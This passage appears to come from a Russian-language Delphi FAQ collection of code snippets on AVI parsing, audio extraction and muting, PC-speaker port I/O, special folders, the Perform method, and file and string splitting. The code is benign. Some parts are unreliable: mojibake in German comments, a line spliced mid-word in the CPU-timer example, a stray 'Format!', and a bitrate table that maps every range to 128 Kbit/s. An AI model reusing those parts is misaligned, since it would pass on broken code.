TempVcodec: String[5];
TempAcodec: integer;
TempMicrosec: integer;
TempLengthInFrames: integer;
TempAchannels: integer;
TempAsamplerate: integer;
TempAbitrate: integer;
// Final values
Size: double;
Length: string;
Vcodec: string;
Vbitrate: double;
VWidth: integer;
VHeight: integer;
Fps: double;
LengthInSec: double;
Acodec: string;
Abitrate: string;
begin
// Open the file
iFileHandle := FileOpen(FileName, fmOpenRead);
// Test to see if file is AVI
FileSeek(iFileHandle, 7, 0);
FileRead(iFileHandle, TempTest, 5);
if copy(TempTest, 0, 4) <> 'AVI ' then
begin
MessageDlg('Could not open ' + FileName +
' because it is not a valid video file', mtError, [mbOk], 0);
Exit;
end;
// File size
FileSeek(iFileHandle,4,0);
FileRead(iFileHandle, TempSize, 4);
// Avi header size (needed to locate the audio part)
FileSeek(iFileHandle,28,0);
FileRead(iFileHandle, Aviheadersize, 4);
// Avi header start (needed to locate the video part)
Aviheaderstart := 32;
// Microseconds (1000000 / TempMicrosec = fps)
FileSeek(iFileHandle,Aviheaderstart,0);
FileRead(iFileHandle, TempMicrosec, 4);
// Length of movie in frames
FileSeek(iFileHandle,Aviheaderstart + 16,0);
FileRead(iFileHandle, TempLengthInFrames, 4);
// Width
FileSeek(iFileHandle,Aviheaderstart + 32,0);
FileRead(iFileHandle, VWidth, 4);
// Height
FileSeek(iFileHandle,Aviheaderstart + 36,0);
FileRead(iFileHandle, VHeight, 4);
FileSeek(iFileHandle,Aviheaderstart + Aviheadersize + 4,0);
FileRead(iFileHandle, Vheadersize, 4);
Vheaderstart := Aviheaderstart + Aviheadersize + 20;
// Video codec
FileSeek(iFileHandle,Vheaderstart + 3,0);
FileRead(iFileHandle, TempVCodec, 5);
Aheaderstart := Vheaderstart + Vheadersize + 8;
FileSeek(iFileHandle,Aheaderstart - 4,0);
FileRead(iFileHandle, Astrhsize, 5);
// Audio codec
FileSeek(iFileHandle,Aheaderstart + Astrhsize + 8,0);
FileRead(iFileHandle, TempACodec, 2);
// Audio channels (1 = mono, 2 = stereo)
FileSeek(iFileHandle,Aheaderstart + Astrhsize + 10,0);
FileRead(iFileHandle, TempAchannels, 2);
// Audio samplerate
FileSeek(iFileHandle,Aheaderstart + Astrhsize + 12,0);
FileRead(iFileHandle, TempAsamplerate, 4);
// Audio bitrate
FileSeek(iFileHandle,Aheaderstart + Astrhsize + 16,0);
FileRead(iFileHandle, TempAbitrate, 4);
// Close the file
FileClose(iFileHandle);
// Analyse the video codec (more can be added)
Vcodec := copy(TempVcodec, 0, 4);
if Vcodec = 'div2' then Vcodec := 'MS MPEG4 v2'
else if Vcodec = 'DIV2' then Vcodec := 'MS MPEG4 v2'
else if Vcodec = 'div3' then Vcodec := 'DivX;-) MPEG4 v3'
else if Vcodec = 'DIV3' then Vcodec := 'DivX;-) MPEG4 v3'
else if Vcodec = 'div4' then Vcodec := 'DivX;-) MPEG4 v4'
else if Vcodec = 'DIV4' then Vcodec := 'DivX;-) MPEG4 v4'
else if Vcodec = 'div5' then Vcodec := 'DivX;-) MPEG4 v5'
else if Vcodec = 'DIV5' then Vcodec := 'DivX;-) MPEG4 v5'
else if Vcodec = 'divx' then Vcodec := 'DivX 4'
else if Vcodec = 'mp43' then Vcodec := 'Microcrap MPEG4 v3';
// Analyse the audio codec (more can be added)
case TempAcodec of
0: Acodec := 'PCM';
1: Acodec := 'PCM';
85: Acodec := 'MPEG Layer 3';
353: Acodec := 'DivX;-) Audio';
8192: Acodec := 'AC3-Digital';
else
Acodec := 'Unknown (' + IntToStr(TempAcodec) + ')';
end;
case (Trunc(TempAbitrate / 1024 * 8)) of
246..260: Abitrate := '128 Kbit/s';
216..228: Abitrate := '128 Kbit/s';
187..196: Abitrate := '128 Kbit/s';
156..164: Abitrate := '128 Kbit/s';
124..132: Abitrate := '128 Kbit/s';
108..116: Abitrate := '128 Kbit/s';
92..100: Abitrate := '128 Kbit/s';
60..68: Abitrate := '128 Kbit/s';
else
Abitrate := FormatFloat('# Kbit/s', TempAbitrate / 1024 * 8);
end;
// Some final calculations
Size := TempSize / 1024 / 1024;
Fps := 1000000 / TempMicrosec; // FPS
LengthInSec := TempLengthInFrames / fps; // Length in seconds
Length := FormatFloat('# min', Int(LengthInSec / 60)) +
FormatFloat(' # sec', Round(LengthInSec - (Int(LengthInSec / 60) * 60)));
Vbitrate := (TempSize / LengthInSec - TempABitrate) / 1024 * 8;
// Output information to memo field
Memo1.Lines.Add('AVI INFORMATION');
Memo1.lines.Add('Size: ' + FormatFloat('#.## MB',Size));
Memo1.Lines.Add('Length: ' + Length);
Memo1.Lines.Add('');
Memo1.Lines.Add('VIDEO INFORMATION');
Memo1.Lines.Add('Codec: ' + Vcodec);
Memo1.Lines.Add('Bitrate: ' + FormatFloat('# Kbit/s', Vbitrate));
Memo1.lines.Add('Width: ' + IntToStr(VWidth) + ' px');
Memo1.lines.Add('Height: ' + IntToStr(VHeight) + ' px');
Memo1.Lines.Add('FPS: ' + FormatFloat('#.##', fps));
Memo1.Lines.Add('');
Memo1.Lines.Add('AUDIO INFORMATION');
Memo1.Lines.Add('Codec: ' + Acodec);
Memo1.Lines.Add('Bitrate: ' + Abitrate);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Filter := 'AVI files (*.avi)|*.avi';
if OpenDialog1.Execute then
begin
Memo1.Clear;
ReadAviInfo(OpenDialog1.FileName);
end;
end;
end.
|
Как экстрагировать аудиодорожку из AVI файла.
Автор: http://www.swissdelphicenter.ch
uses
{...}, vfw;
var
abort: Boolean;
{$R *.DFM}
{Vielen Dank an Jailbird, der einen gгоЯеn Teil dieses Codes entwickelt hat
Special thanks to Jailbird, who developed a big part of this Code}
{Bitte zuerst die vfw.pas downloaden
Please download th vfw.pas first }
{Die 'SaveCallback' Funktion erlaubt es dem Benutzer den
aktuellen Prozess Status zu erfahren und den Speichervorgang
vorzeitig abzubrechen. Diese Funktion muss NICHT vom Benutzer
aufgerufen werden.
The 'SaveCallback' function allows the user to get the
process status and abort the save progress. This function
needn't to call by the user.}
function SaveCallback(nPercent: Int): Bool; pascal;
begin
Application.ProcessMessages;
Form1.Progressbar1.Position := nPercent; //Speicher Status in Prozent
//Save Status in Percent
if abort = True then
Result := True
//Wenn die Funktion "True" zигьскgiьt, wird der Speichervorgang fortgesetzt.
else //If then function returns "True", the Process will continue
Result := False; //Gibt sie "False" zигьск wird der Vorgang abgebrochen
end; //If it returns "False" the process will abort
{Die folgende Funktion erwartet zwei Parameter:
Inputfile: PChar
Geben Sie hier die die AVI Datei an aus welche Sie
die Audiospur extrahieren mцсhtеn.
Outputfile: PChar
Geben Sie einen Pfad + Dateinamen einer WAVE Datei an.
In diese Datei wird die AudioSpur gespeichert.
HINWEIS:
Geben Sie nur eine WAVE Datei als Ausgabedatei an wenn
die Audiodaten in der AVI Datei unkomprimiert (als PCM WAVE)
vorliegen.
####################################################
The following function needs two parameters:
InputFile: PChar
Enter a Dir + Filename of a AVI File.
OutputFile: PChar
Enter a Dir + Filename of a WAVE File where do you want to
put the audiodata of the movie.
TIP:
Enter jus a Filename of a WAVE File if the audiodata of the
movie is in uncompressed PCM Format.
###########################################################
WICHTIG:
Stellen Sie vor dem aufrufen der Funktion 'ExtractAVISound' sicher
das die Eingabedatei (Inputfile) ььег eine AudioSpur vегfьgt.
IMPORTANT:
Before calling the 'ExtractAVISound' function be sure that the
Inputfile has a audiotrace.
}
function TForm1.ExtractAVISound(InputFile, Outputfile: PChar): Boolean;
var
PFile: IAviFile;
PAvi: IAviStream;
plpOptions: PAviCompressOptions;
begin
Abort := False;
if Fileexists(StrPas(Outputfile)) then
begin
case MessageDlg('Ausgabedatei existiert bereits. Ььегsсhгеiьеn?',
mtWarning, [mbYes, mbNo], 0) of
mrYes:
begin
DeleteFile(StrPas(Outputfile));
//Wichtig, da die Funktion sonst nur so viel der
end; //Datei ььегsсhгеiьt wie gebraucht wird.
//Important because the function overwrite just
//the part of the file which is needed.
mrNo:
begin
Exit;
end;
end;
end;
try //Initialisiert die API
AviFileInit; //Init the API
if AviFileOpen(PFile, Inputfile, 0, nil) <> 0 then //Цffnеt eine AVI Datei
begin //Opens a AVI File
MessageDlg('Fehler beim laden des Videos. Мцg1iсhегwеisе wird die
Datei von einem anderen Prozess verwendet.' + #13#10+
'Sсh1iеЯеn Sie alle in Frage kommenden Anwendungen und versuchen Sie es erneut.',
mtError, [mbOK], 0);
Result := False;
Exit;
end;
if AviFileGetStream(PFile, PAvi, StreamTypeAudio, 0) <> 0 then
begin
MessageDlg(
'Fehler beim laden des AudioStreams. Bitte ььегргьfеn Sie, ob dieses Video
ььег einen AudioStream vегfьgt.', mtError, [mbOK], 0);
AviFileExit;
Result := False;
Exit;
end;
//Speichert den AudioStream
//Saves the AudioStream
if AviSaveV(Outputfile, nil, @SaveCallback, 1, PAvi, plpOptions) <> 0 then
begin
MessageDlg('Fehler beim Speichern des AudioStreams oder Sie haben
den Speichervorgang abgebrochen.', mtError, [mbOK], 0);
AviStreamRelease(PAvi);
AviFileExit;
Result := False;
Exit;
end;
finally
AviStreamRelease(PAvi);
AviFileExit;
end;
Result := True; //'TRUE' zигьскgеьеn wenn alles geklappt hat
//return 'TRUE' if all right
end;
//Beispiel zu aufrufen der Funktion:
//Example how to call the function:
procedure TForm1.Button1Click(Sender: TObject);
begin
if ExtractAVISound(PChar('D:\test.avi'), PChar('D:\test.wav')) = True then
ShowMessage('Audiospur erfolgreich gespeichert!');
// Audio sucessfully saved
else
ShowMessage('Fehler beim Speichern der Audiospur.'); // Error while saving...
end;
Как выключить звук.
Автор: http://www.swissdelphicenter.ch
uses
MMSystem;
function GetMasterMute(
Mixer: hMixerObj;
var Control: TMixerControl): MMResult;
// Returns True on success
var
Line: TMixerLine;
Controls: TMixerLineControls;
begin
ZeroMemory(@Line, SizeOf(Line));
Line.cbStruct := SizeOf(Line);
Line.dwComponentType := MIXERLINE_COMPONENTTYPE_DST_SPEAKERS;
Result := mixerGetLineInfo(Mixer, @Line,
MIXER_GETLINEINFOF_COMPONENTTYPE);
if Result = MMSYSERR_NOERROR then
begin
ZeroMemory(@Controls, SizeOf(Controls));
Controls.cbStruct := SizeOf(Controls);
Controls.dwLineID := Line.dwLineID;
Controls.cControls := 1;
Controls.dwControlType := MIXERCONTROL_CONTROLTYPE_MUTE;
Controls.cbmxctrl := SizeOf(Control);
Controls.pamxctrl := @Control;
Result := mixerGetLineControls(Mixer, @Controls,
MIXER_GETLINECONTROLSF_ONEBYTYPE);
end;
end;
procedure SetMasterMuteValue(
Mixer: hMixerObj;
Value: Boolean);
var
MasterMute: TMixerControl;
Details: TMixerControlDetails;
BoolDetails: TMixerControlDetailsBoolean;
Code: MMResult;
begin
Code := GetMasterMute(0, MasterMute);
if Code = MMSYSERR_NOERROR then
begin
with Details do
begin
cbStruct := SizeOf(Details);
dwControlID := MasterMute.dwControlID;
cChannels := 1;
cMultipleItems := 0;
cbDetails := SizeOf(BoolDetails);
paDetails := @BoolDetails;
end;
LongBool(BoolDetails.fValue) := Value;
Code := mixerSetControlDetails(0, @Details,
MIXER_SETCONTROLDETAILSF_VALUE);
end;
if Code <> MMSYSERR_NOERROR then
raise Exception.CreateFmt('SetMasterMuteValue failure, ' +
'multimedia system error #%d', [Code]);
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
SetMasterMuteValue(0, CheckBox1.Checked); // Mixer device #0 mute on/off
end;
Звук через PC Speaker.

Автор: Nomadic.
procedure TForm1.mybeep(Tone: Word; Delay: Integer);
begin
asm
mov al, 0b6H
out 43H, al
mov ax,Tone
out 42h,al
ror ax,8
out 42h,al
in al, 61H
or al, 03H
out 61H, al
end;
sleep(Delay);
asm
in al, 61H
and al, 0fcH
out 61H, al
end;
end;
|
Как вывести звук через звуковую карту.
Автор: http://www.swissdelphicenter.ch
uses
MMSystem;
type
TVolumeLevel = 0..127;
procedure MakeSound(Frequency {Hz}, Duration {mSec}: Integer; Volume:
TVolumeLevel);
{writes tone to memory and plays it}
var
WaveFormatEx: TWaveFormatEx;
MS: TMemoryStream;
i, TempInt, DataCount, RiffCount: integer;
SoundValue: byte;
w: double; // omega ( 2 * pi * frequency)
const
Mono: Word = $0001;
SampleRate: Integer = 11025; // 8000, 11025, 22050, or 44100
RiffId: string = 'RIFF';
WaveId: string = 'WAVE';
FmtId: string = 'fmt ';
DataId: string = 'data';
begin
if Frequency > (0.6 * SampleRate) then
begin
ShowMessage(Format('Sample rate of %d is too Low to play a tone of %dHz',
[SampleRate, Frequency]));
Exit;
end;
with WaveFormatEx do
begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := Mono;
nSamplesPerSec := SampleRate;
wBitsPerSample := $0008;
nBlockAlign := (nChannels * wBitsPerSample) div 8;
nAvgBytesPerSec := nSamplesPerSec * nBlockAlign;
cbSize := 0;
end;
MS := TMemoryStream.Create;
with MS do
begin
{Calculate length of sound data and of file data}
DataCount := (Duration * SampleRate) div 1000; // sound data
RiffCount := Length(WaveId) + Length(FmtId) + SizeOf(DWORD) +
SizeOf(TWaveFormatEx) + Length(DataId) + SizeOf(DWORD) + DataCount;
// file data
{write out the wave header}
Write(RiffId[1], 4); // 'RIFF'
Write(RiffCount, SizeOf(DWORD)); // file data size
Write(WaveId[1], Length(WaveId)); // 'WAVE'
Write(FmtId[1], Length(FmtId)); // 'fmt '
TempInt := SizeOf(TWaveFormatEx);
Write(TempInt, SizeOf(DWORD)); // TWaveFormat data size
Write(WaveFormatEx, SizeOf(TWaveFormatEx)); // WaveFormatEx record
Write(DataId[1], Length(DataId)); // 'data'
Write(DataCount, SizeOf(DWORD)); // sound data size
{calculate and write out the tone signal}// now the data values
w := 2 * Pi * Frequency; // omega
for i := 0 to DataCount - 1 do
begin
SoundValue := 127 + trunc(Volume * sin(i * w / SampleRate));
// wt = w * i / SampleRate
Write(SoundValue, SizeOf(Byte));
end;
{now play the sound}
sndPlaySound(MS.Memory, SND_MEMORY or SND_SYNC);
MS.Free;
end;
end;
// How to call the function:
procedure TForm1.Button1Click(Sender: TObject);
begin
MakeSound(1200, 1000, 60);
end;
Как определить уровень звука в данный момент.
Автор: TPavel WEB-сайт: http://forum.vingrad.ruЯ построил диограмму так: Назначил F:= TFileStream.Create(OpenDialog1.FileName, fmOpenRead ); Затем считал заголовок Wav- SampleCount, SamplesPerSec, BitsPerSample, Channeles. Затем считал данные- GetMem(buf, SampleCount * Channeles * BitsPerSample); Описал массив Volume- SetLength(Volume, SampleCount); Затем - F.Read(buf^, SampleCount*2); F.Free; Затем заполнил массив -
buf16 := buf; for h := 0 to SampleCount - 1 do begin Volume[h] := abs(buf16^); inc(buf16); end; FreeMem(buf);Затем строил график(в экранных координатах) - по горизонтальной оси откладывал значения SampleCount, по вертикальной значения Volume[h]. График получается точно такой же как в SoundForge.
Единственно, я писал программу для конкретного случая - у меня файлы по 10 минут, моно, 11025 Гц., 16 бит. Так что программа у меня не универсальная. Но работает нормально. По времени: обработка файла и построение графика около 4 -5 секунд.
Как управлять спикером под 9х из Delphi.
Под WinNT/2000/XP вы можете использовать Beep(Tone, Duration) (задавать тон и продолжительность звучания). А под 9.x/Me эта функция не реализована, но можно командовать железом через порты, и сделать универсальную:
unit BeepUnit;
// универсальная - версию виндовса проверяет
procedure Beep(Tone, Duration: Word);
procedure Sound(Freq : Word);
procedure NoSound;
procedure SetPort(address, Value:Word);
function GetPort(address:word):word;
implementation
procedure SetPort(address, Value:Word);
var
bValue: byte;
begin
bValue := trunc(Value and 255);
asm
mov dx, address
mov al, bValue
out dx, al
end;
end;
function GetPort(address:word):word;
var
bValue: byte;
begin
asm
mov dx, address
in al, dx
mov bValue, al
end;
GetPort := bValue;
end;
procedure Sound(Freq : Word);
var
B : Byte;
begin
if Freq > 18 then
begin
Freq := Word(1193181 div LongInt(Freq));
B := Byte(GetPort($61));
if (B and 3) = 0 then
begin
SetPort($61, Word(B or 3));
SetPort($43, $B6);
end;
SetPort($42, Freq);
SetPort($42, Freq shr 8);
end;
end;
procedure NoSound;
var
Value: Word;
begin
Value := GetPort($61) and $FC;
SetPort($61, Value);
end;
procedure Beep(Tone, Duration: Word);
begin
if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT then
Windows.Beep(Tone, Duration)
else
begin
Sound(Tone);
Windows.Sleep(Duration);
NoSound;
end;
end;
end.
|
Получить пути специальных папок.
{
Constants:
CSIDL_DESKTOP
CSIDL_INTERNET
CSIDL_PROGRAMS
CSIDL_CONTROLS
CSIDL_PRINTERS
CSIDL_PERSONAL
CSIDL_FAVORITES
CSIDL_STARTUP
CSIDL_RECENT
CSIDL_SENDTO
CSIDL_BITBUCKET
CSIDL_STARTMENU
CSIDL_DESKTOPDIRECTORY
CSIDL_DRIVES
CSIDL_NETWORK
CSIDL_NETHOOD
CSIDL_FONTS
CSIDL_TEMPLATES
CSIDL_COMMON_STARTMENU
CSIDL_COMMON_PROGRAMS
CSIDL_COMMON_STARTUP
CSIDL_COMMON_DESKTOPDIRECTORY
CSIDL_APPDATA
CSIDL_PRINTHOOD
CSIDL_ALTSTARTUP
CSIDL_COMMON_ALTSTARTUP
CSIDL_COMMON_FAVORITES
CSIDL_INTERNET_CACHE
CSIDL_COOKIES
CSIDL_HISTORY
}
uses
ActiveX, ShlObj;
procedure TForm1.Button1Click(Sender: TObject);
// Replace CSIDL_HISTORY with the constants above
var
Allocator: IMalloc;
SpecialDir: PItemIdList;
FBuf: array[0..MAX_PATH] of Char;
PerDir: string;
begin
if SHGetMalloc(Allocator) = NOERROR then
begin
SHGetSpecialFolderLocation(Form1.Handle, CSIDL_HISTORY, SpecialDir);
SHGetPathFromIDList(SpecialDir, @FBuf[0]);
Allocator.Free(SpecialDir);
ShowMessage(string(FBuf));
end;
end;
// With Windows Me/2000, the SHGetSpecialFolderLocation function
// is superseded by ShGetFolderLocation.
// function to get the desktop folder location:
function GetDeskTopPath : string;
var
shellMalloc: IMalloc;
ppidl: PItemIdList;
PerDir: string;
begin
ppidl := nil;
try
if SHGetMalloc(shellMalloc) = NOERROR then
begin
SHGetSpecialFolderLocation(Form1.Handle, CSIDL_DESKTOP, ppidl);
SetLength(Result, MAX_PATH);
if not SHGetPathFromIDList(ppidl, PChar(Result)) then
raise exception.create('SHGetPathFromIDList failed : invalid pidl');
SetLength(Result, lStrLen(PChar(Result)));
end;
finally
if ppidl <> nil then
shellMalloc.free(ppidl);
end;
end;
|
Как программно щелкнуть по компоненту SpeedButton.
| Разработали новый процессор на женской логике, обрабатывающий четыре логических значения: "Ни да, ни нет", "И да, и нет", "Три раза нет!" и "Нет, и не проси!!!" |
Я пытался использовать SendMessage но у Speedbuttons нет "handle"... ;-(
В примере используется метод Perform класса TControl для отправки сообщения.
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
ShowMessage('Delphi World is the BEST');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SpeedButton1.Perform(WM_LBUTTONDOWN, 0, 0);
SpeedButton1.Perform(WM_LBUTTONUP, 0, 0);
end;
|
Скорость работы процессора, точный таймер.
| Автор: ISV |
| Новейший российский микропроцессор имеет не только повышенное быстродействие и уменьшенное энергопотребление, но и четыре удобные ручки для его переноски грузчиками, и улучшенную систему охлаждения, легко подключаемую к обычному водопроводному крану. |
Проверялось под еНТями на Пне 2 333.
// (C) 1999 ISV
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms,Dialogs, StdCtrls, Buttons, ExtCtrls;
type TForm1 = class(TForm)
Label1: TLabel;
Timer1: TTimer;
Label2: TLabel;
Label3: TLabel;
Button1: TButton;
Button2: TButton;
Label4: TLabel;
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
Counter:integer;
//Счетчик срабатывания таймера
Start:int64;
//Начало роботы
Previous:int64;
//Предыдущее значение
PStart,PStop:int64;
//Для примера выч. времени
CurRate:integer;
//Текущая частота проца
function GetCPUClick:int64;
function GetTime(Start,Stop:int64):double;
end;
var Form1: TForm1;implementation{$R *.DFM}
// Функция работает на пнях ММХ или выше а
// также проверялась на К6
function TForm1.GetCPUClick:int64;
begin
asm db 0fh,31h
// Опкод для команды rdtsc
// mov dword ptr result,eax
// mov dword ptr result[4],edx
end;
// Не смешно :(. Без ?той штуки
// Компайлер выдает Internal error C1079
Result:=Result;
end;
// Время в секундах между старт и стоп
function TForm1.GetTime(Start,Stop:int64):double;
begin
try result:=(Stop-Start)/CurRate except result:=0;
end;
end;
// Обработчик таймера считает текущую частоту, выводит ее, а также
// усредненную частоту, текущий такт с момента старта процессора.
// При постоянной частоте процессора желательно интервал братьпобольше
// 1-5с для точного прощета частоты процессора.
procedure TForm1.Timer1Timer(Sender: TObject);
var i:int64;
begin
i:=GetCPUClick;
if Counter=0 then Start:=i else
begin
Label2.Caption:=Format('Частота общая:%2f',
[(i-Start)/(Counter*Timer1.Interval*1000)]);
Label3.Caption:=Format('Частота текущая:%2f',
[(i-Previous)/(Timer1.Interval*1000)]);
CurRate:=Round(((i-Previous)*1000)/(Timer1.Interval));
end;
Label1.Cap примера
procedure TForm1.Button1Click(Sender: TObject);
begin
PStart:=GetCPUClick;
end;
// Останавливаем отсчет времени и показуем соко
// прошло секунд
procedure TForm1.Button2Click(Sender: TObject);
begin
PStop:=GetCPUClick;
Label4.Caption:=Format!
('Время между нажатиями:%gсек',[GetTime(PStart,PStop)])
end;
end.
|
Как использовать проверку грамматики.
Автор: http://www.swissdelphicenter.ch
{
If you are using Delphi 2+ and have the ActiveX component TVSSpell, it is very
simple to add a spell checker to your TMemo applications.
(Note: Do not use this component with a Rich Edit application because of text
formatting problems.)
}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Memo1.Text = '' then
Exit;
VSSpell1.CheckText := Memo1.Text;
if VSSpell1.ResultCode = 0 then
Memo1.Text := VSSpell1.Text;
end;
{
To distribute a VisualSpeller application you have to include the following
files:
}
{
- VsSpell.HLP
- VSPELL32.OCX
- VSPELL32.DLL
- AMERICAN.VTD
- VSPELL.HLP
}
Великолепный метод Perform.
Автор: Михаил Христосенко WEB сайт: http://mihandelphi.narod.ruВ этой статье я постараюсь показать что можно делать с помощью метода Perform, и какие интересные вещи скрываются в VCL кодах (в частности messages.pas). Метод Perform дает вам возможность посылать сообщения различным компонентам. Все сообщения описаны в файле Messages.pas (настоятельно рекомендую вам его посмотреть!!!). Данный метод надо вызывать по такой схеме:
Имя_компонента.Perform(Сообщение, верхний параметр: Integer, нижний параметр: Integer); |
Начнем с самого простого. Попробуем закрыть форму. Для этого поставьте на форму одну кнопку и в обработчике ее события OnClick напишите:
Form1.Perform(WM_CLOSE, 0, 0); |
Теперь попробуем изменить иконку вашей программы. Поставьте на форму компонент Image и загрузите в него какую-нибудь иконку. Будем использовать сообщение WM_SETICON. А поскольку в качестве параметров необходима величина типа Integer, то мы воспользуемся указателем на иконку (handle). Теперь обработчик нажатия кнопки может иметь вид:
procedure TForm1.Button1Click(Sender: TObject); begin Form1.Perform(WM_SETICON, 0, image1.Picture.Icon.Handle); end; |
Теперь попробуем осуществить программный клик по кнопке 1. Поставьте на форму еще одну кнопку и в ее обработчике события OnClick, напишите:
Button1.Perform(WM_LBUTTONDOWN, 0, 0); Button1.Perform(WM_LBUTTONUP, 0, 0); |
А можно и попроще реализовать:
Button1.Perform(BM_CLICK, 0, 0); |
Объясняю почему два обработчика. Вначале посылается сообщение, что кнопка нажата, затем сообщение - что отпущена, тогда то и происходит клик. Если вы все сделали правильно и ничего с формы не убирали, то иконка вашего приложения вновь поменяется.
Теперь маленько коснемся компонентов для работы с текстом. Для начала установите на форму компонент Memo. Будем делать с ним разные стандартные вещи: добавлять символы, копировать, вставлять, вырезать, отменять и т.д.
Начнем с вырезания текста. Обработчик кнопки поменяйте на:
Memo1.SelectAll; Memo1.Perform(WM_CUT, 0, 0); |
С начала выделяется весь текст, а потом вырезается и помещается в буфер. Также можно и копировать текст, только надо изменить сообщение на: WM_COPY. Соответственно, чтобы вставить текст из буфера напишите:
Memo1.Perform(WM_PASTE, 0, 0); |
Для очистки содержимого Memo, воспользуйтесь сообщением WM_CLEAR с параметрами 0,0. Для того, чтобы отменить введенный текст напишите следующее:
Memo1.Perform(EM_UNDO, 0, 0); |
Чтобы добавить символ в Memo нужно написать так:
Memo1.Perform(WM_CHAR, 192, 0); |
Где 192, номер символа 'A', этот вызов метода Perform, можно заменить на аналогичный:
Memo1.Perform(WM_CHAR, LongInt(char('A')), 0);
|
Здесь значение символа 'A' как тип Char преобразуется в тип LongInt, а затем добавляется в Memo.
Теперь будем разбираться с Listbox' ами. Для этого добавьте его на форму а событие OnClick кнопки замените на:
Listbox1.Perform(LB_ADDSTRING, 0, LongInt(Pchar('Эта строка появится в ListBoxe')));
|
Если заменить LB_ADDSTRING на LB_INSERTSTRING, то строка будет вставляться в зависимости от первого параметра, который равен 0 в первом случае.
Для того, чтобы выделить какую-нибудь строку в Listbox'e зная ее имя нужно написать следующий код:
Listbox1.Perform(LB_SELECTSTRING, 0, LongInt(pchar('текст строки, которую нужно найти')));
|
С помощью приведенной выше строчки кода можно реализовать поиск в ListBox'e, наподобие того, как это делается в FontDialog. В текстовом поле ввода вы вводите текст, и наиболее похожий по шрифт выделяется. Чтобы это осуществить поставьте на форму компонент Edit. А в обработчике его события OnChange напишите:
Listbox1.Perform(LB_SELECTSTRING, 0, LongInt(pchar(Edit1.Text))); |
Ну вот кратенький обзор метода Perform подошел к концу. Хочется посоветовать только одного, смотрите файл Messages.pas, ищите новые решения и не бойтесь пробовать, а вдруг сработает!!!
Как разделить строку на элементы.
Автор: Vit WEB-сайт: http://forum.vingrad.ru
var
t: TStringList;
begin
t := TStringList.create; //создаём класс
t.text := stringReplace('Ваша строка для разделения', ' ', #13#10,
[rfReplaceAll]); //мы заменяем все пробелы на символы конца строки
//теперь можно убедится что у вас строка разбина на элементы:
showmessage(t[0]);
showmessage(t[1]);
showmessage(t[2]);
showmessage(t[3]);
...
//после работы надо уничтожить класс
t.free;
Splitter Bar.
...я использую TOutline, выровненный с помощью alLeft, и desktop, выровненной по его правой части. Панель расположена после TOutline, и также выровнена с помощью alLeft. Все это дело прилипает к TOutline. Я назвал новую панель 'splitter'. "Отрегулируйте" splitter под себя, сделайте его поУже, создайте красивый контур и нарисуйте двунаправленный курсор. В приведенном ниже примере вы можете заменить TOutLine на нужный вам компонент. Создайте обработчик события мыши и напишите следующий код:
procedure TMainForm.SplitterMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
if ssLeft in Shift then
outline.Width := outline.Width + X; {замените OutLine нужным вам объектом}
end;
|
Разрезать и соединить файлы.
{
Parameters:
FileToSplit: Specify a file to split.
SizeofFiles: Specify the size of the files you want to split to (in bytes)
Progressbar: Specify a TProgressBar to show the splitting progress
Result:
SplitFile() will create files FileName.001, FileName.002, FileName.003 and so on
that are SizeofFiles bytes in size.
}
function SplitFile(FileName : TFileName; SizeofFiles : Integer;
ProgressBar : TProgressBar) : Boolean;
var
i : Word;
fs, sStream: TFileStream;
SplitFileName: String;
begin
ProgressBar.Position := 0;
fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
for i := 1 to Trunc(fs.Size / SizeofFiles) + 1 do
begin
SplitFileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i));
sStream := TFileStream.Create(SplitFileName, fmCreate or fmShareExclusive);
try
if fs.Size - fs.Position < SizeofFiles then
SizeofFiles := fs.Size - fs.Position;
sStream.CopyFrom(fs, SizeofFiles);
ProgressBar.Position := Round((fs.Position / fs.Size) * 100);
finally
sStream.Free;
end;
end;
finally
fs.Free;
end;
end;
// Combine files / Dateien zиsаmmеnfьhгеn
{
Parameters:
FileName: Specify the first piece of the splitted files
CombinedFileName: Specify the combined file name. (the output file)
Result:
CombineFiles() will create one large file from the pieces
}
function CombineFiles(FileName, CombinedFileName : TFileName) : Boolean;
var
i: integer;
fs, sStream: TFileStream;
filenameOrg: String;
begin
i := 1;
fs := TFileStream.Create(CombinedFileName, fmCreate or fmShareExclusive);
try
while FileExists(FileName) do
begin
sStream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
fs.CopyFrom(sStream, 0);
finally
sStream.Free;
end;
Inc(i);
FileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i));
end;
finally
fs.Free;
end;
end;
// Examples:
procedure TForm1.Button1Click(Sender: TObject);
begin
SplitFile('C:\temp\FileToSplit.chm',1000000, ProgressBar1);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
CombineFiles('C:\temp\FileToSplit.001','H:\temp\FileToSplit.chm');
end;
|
Разделить строку на слова.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure SplitTextIntoWords(const S: string; words: TstringList);
var
startpos, endpos: Integer;
begin
Assert(Assigned(words));
words.Clear;
startpos := 1;
while startpos <= Length(S) do
begin
// skip non-letters
while (startpos <= Length(S)) and not IsCharAlpha(S[startpos]) do
Inc(startpos);
if startpos <= Length(S) then
begin
// find next non-letter
endpos := startpos + 1;
while (endpos <= Length(S)) and IsCharAlpha(S[endpos]) do
Inc(endpos);
words.Add(Copy(S, startpos, endpos - startpos));
startpos := endpos + 1;
end; { If }
end; { While }
end; { SplitTextIntoWords }
function StringMatchesMask(S, mask: string;
case_sensitive: Boolean): Boolean;
var
sIndex, maskIndex: Integer;
begin
if not case_sensitive then
begin
S := AnsiUpperCase(S);
mask := AnsiUpperCase(mask);
end; { If }
Result := True; // blatant optimism
sIndex := 1;
maskIndex := 1;
while (sIndex <= Length(S)) and (maskIndex <= Length(mask)) do
begin
